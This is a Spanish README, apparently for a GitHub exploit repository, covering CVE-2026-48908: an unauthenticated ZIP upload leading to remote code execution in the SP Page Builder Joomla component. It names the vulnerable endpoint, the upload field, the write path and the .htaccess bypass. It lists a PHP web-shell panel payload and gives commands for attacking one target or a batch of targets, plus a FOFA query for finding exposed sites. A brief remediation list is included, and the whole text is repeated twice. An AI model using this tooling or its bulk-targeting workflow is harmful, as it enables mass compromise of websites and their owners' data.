CVE-2026-48908

---

📌 Resumen

SP Page Builder (Joomla) — Carga de ZIP sin autenticación → RCE

Producto	SP Page Builder — com_sppagebuilder (JoomShaper)
Versión	≤ 6.6.1
Corregido	6.6.2+ — la carga ahora requiere admin
Auth	Sin autenticación
Vector	POST …&task=asset.uploadCustomIcon
Campo	custom_icon (ZIP de icon-font)
Ruta de escritura	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Corrección

1. Actualizar SP Page Builder a 6.6.2+
2. Deshabilitar la ejecución de PHP en /media/com_sppagebuilder/
3. AllowOverride None — bloquear .htaccess
4. WAF: limitar la tasa de POST de ZIP en custom_icon

📦 Instalación

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Archivo	Función
winrarzips_brand.py	Banner de CMD (by winrarzips)
sppb48908_core.py	Motor de exploit
CVE-2026-48908-Suite.py	CLI por lotes + objetivo único
CVE-2026-48908.py	Wrapper de objetivo único
payloads/x7-panel.php	Panel RCE
requirements.txt	Dependencias

❌ Listas de objetivos, resultados de escaneo y URLs de paneles no están en el repo.

🎯 Objetivo único

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Por lotes (tu propia lista)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Etiquetas de error

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---

📌 Resumen

SP Page Builder (Joomla) — Carga de ZIP sin autenticación → RCE

Producto	SP Page Builder — com_sppagebuilder (JoomShaper)
Afectado	≤ 6.6.1
Corregido	6.6.2+ — la carga requiere admin
Auth	Sin autenticación
Vector	POST …&task=asset.uploadCustomIcon
Campo	custom_icon (ZIP de icon-font)
Ruta de escritura	/media/com_sppagebuilder/assets/iconfont/<pack>/fonts/
Bypass	.PHP + fonts/.htaccess

🛡️ Remediación

1. Actualizar SP Page Builder a 6.6.2+
2. Deshabilitar la ejecución de PHP en /media/com_sppagebuilder/
3. AllowOverride None — bloquear el registro de PHP vía .htaccess
4. WAF: limitar la tasa de cargas ZIP en custom_icon

📦 Configuración

git clone https://github.com/winrarzipsexploit/CVE-2026-48908.git
cd CVE-2026-48908
pip install -r requirements.txt

Archivo	Función
winrarzips_brand.py	Banner de CMD (by winrarzips)
sppb48908_core.py	Núcleo del exploit
CVE-2026-48908-Suite.py	CLI por lotes + objetivo único
CVE-2026-48908.py	Wrapper de objetivo único
payloads/x7-panel.php	Payload del panel RCE
requirements.txt	Dependencias

❌ Las listas de objetivos, los resultados de escaneo y las URLs de paneles en vivo no están incluidas.

🎯 Objetivo único

python CVE-2026-48908-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-48908-Suite.py -u https://LAB-URL --yes

📦 Por lotes (tu propia lista)

python CVE-2026-48908-Suite.py -f targets.txt --yes --threads 15

🔍 FOFA

body="com_sppagebuilder"

🏷️ Etiquetas de error

patched_662_plus · upload_rejected · waf_cloudflare · sppb_html_no_json · upload_server_failed

---